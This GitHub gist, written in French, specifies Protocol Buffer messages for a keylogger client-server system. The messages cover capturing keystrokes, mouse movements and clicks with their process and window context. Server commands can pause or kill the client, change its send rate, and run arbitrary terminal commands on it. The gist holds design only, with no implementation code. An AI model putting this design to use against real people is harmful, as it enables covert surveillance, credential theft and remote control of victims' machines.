Skip to content

Instantly share code, notes, and snippets.

@irondoge
Last active January 26, 2022 10:00
Show Gist options
  • Save irondoge/1168bde22ad19c675d21876abb00e034 to your computer and use it in GitHub Desktop.
Save irondoge/1168bde22ad19c675d21876abb00e034 to your computer and use it in GitHub Desktop.
Spider Protocols.md

#Spider Protocols

###Enveloppe.proto

message Enveloppe {
    required string UUID = 1;
    required string PayloadBuffer = 2;
    required google.protobuf.Any Payload = 3;
}
Element Type Requis Commentaire
UUID string Oui Il est généré par le serveur à la première connexion
Buffer string Oui Il est généré par Protocol Buffer et il contient une version sérialisée de Payload
Payload Packet Oui Il est le corps du message et contient des données différentes par Packet
Liste des structures Packet:
  • LogPacket
  • CmdPacket
  • RequestPacket

###LogPacket.proto

message LogPacket {
	message WinContext {
		required string Process = 1;
	        required string WindowName = 2;
	}
	required google.protobuf.Any Log = 1;
	optional WinContext Context = 2;
	required int32 Epoch = 3;
}
Element Type Requis Commentaire
Process string Oui C'est le nom du preocessus
WindowName string Oui C'est le nom de la fenêtre
Log Log Oui Il contient des valeurs loggées différentes par device
Context WinContext Non Il permet de regrouper les inputs par process et par fenêtre
Epoch integer Oui C'est le timestamp qui correspond au moment de l'action
Liste des structures Log:
  • KeyboardLog
  • MovementLog
  • ClickLog

###KeyboardLog.proto

message KeyboardLog {
	required string Keylog = 1;
}
Element Type Requis Commentaire
Keylog string Oui C'est la keylog string en brute
Les touches de combinaison sont formattées sous la forme: "[%s+%s]", mod, key.

###MovementLog.proto

message MovementLog {
	message Point {
		required int32 x = 1;
		required int32 y = 2;
	}
	required Point From = 1;
	required Point To = 2;
}
Element Type Requis Commentaire
x integer Oui C'est la position X en pixels
y integer Oui C'est la position Y en pixels
From Point Oui C'est la position du pointeur avant le mouvement
To Point Oui C'est la position du pointeur après le mouvement

###ClickLog.proto

message ClickLog {
	message Point {
		required int32 x = 1;
		required int32 y = 2;
	}
	enum ButtonID {
		RIGHT = 0;
		MIDDLE = 1;
		LEFT = 2;
	}
	optional ButtonID Button = 1;
	required Point Target = 2;
}
Element Type Requis Commentaire
Button ButtonID Non C'est l'ID du bouton
Target Point Oui C'est la cible du click

###CmdPacket.proto

message CmdPacket {
	required string TargetUUID = 1;
	required string Name = 2;
	optional string Argument = 3;
}
Element Type Requis Commentaire
TargetUUID string Oui C'est l'UUID du client destinataire
Name string Oui C'est le nom de la commande
Argument string Non C'est son argument selon la commande

Commande | Argument | Commentaire --------|------|--------|------------ start | Aucun | Elle démarre le keylogger si il est en pause stop | Aucun | Elle met le keylogger en pause kill | Aucun | Elle déconnecte et arrête le processus du client exec | string | Elle exécute une commande dans un terminal status | Aucun | Elle renvoie le status d'activité du processus client delay | integer | Elle permet d'indiquer la nouvelle fréquence d'envoi du keylogger

Le delay peut prendre la valeur 0 pour indiquer le mode flood.

###RequestPacket.proto

message RequestPacket {
	enum MethodID {
		LIST = 0;
		GET = 1;
		SEND = 2;
	}
	required MethodID Method = 1;
	optional string TargetUUID = 2;
	optional int32 Limit = 3;
	optional CmdPacket Command = 4;
}
Element Type Requis Commentaire
Method MethodID Oui C'est l'intention de la requette
TargetUUID string Non Pour SEND et GET, c'est l'UUID du client destinataire
Limit integer Non Pour la méthode LIST, c'est le nombre d'éléments retournés
Command CmdPacket Non Pour SEND et GET, c'est la commande à executer côter client

Limit est initialisé à la valeur 20 si non-spécifié.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment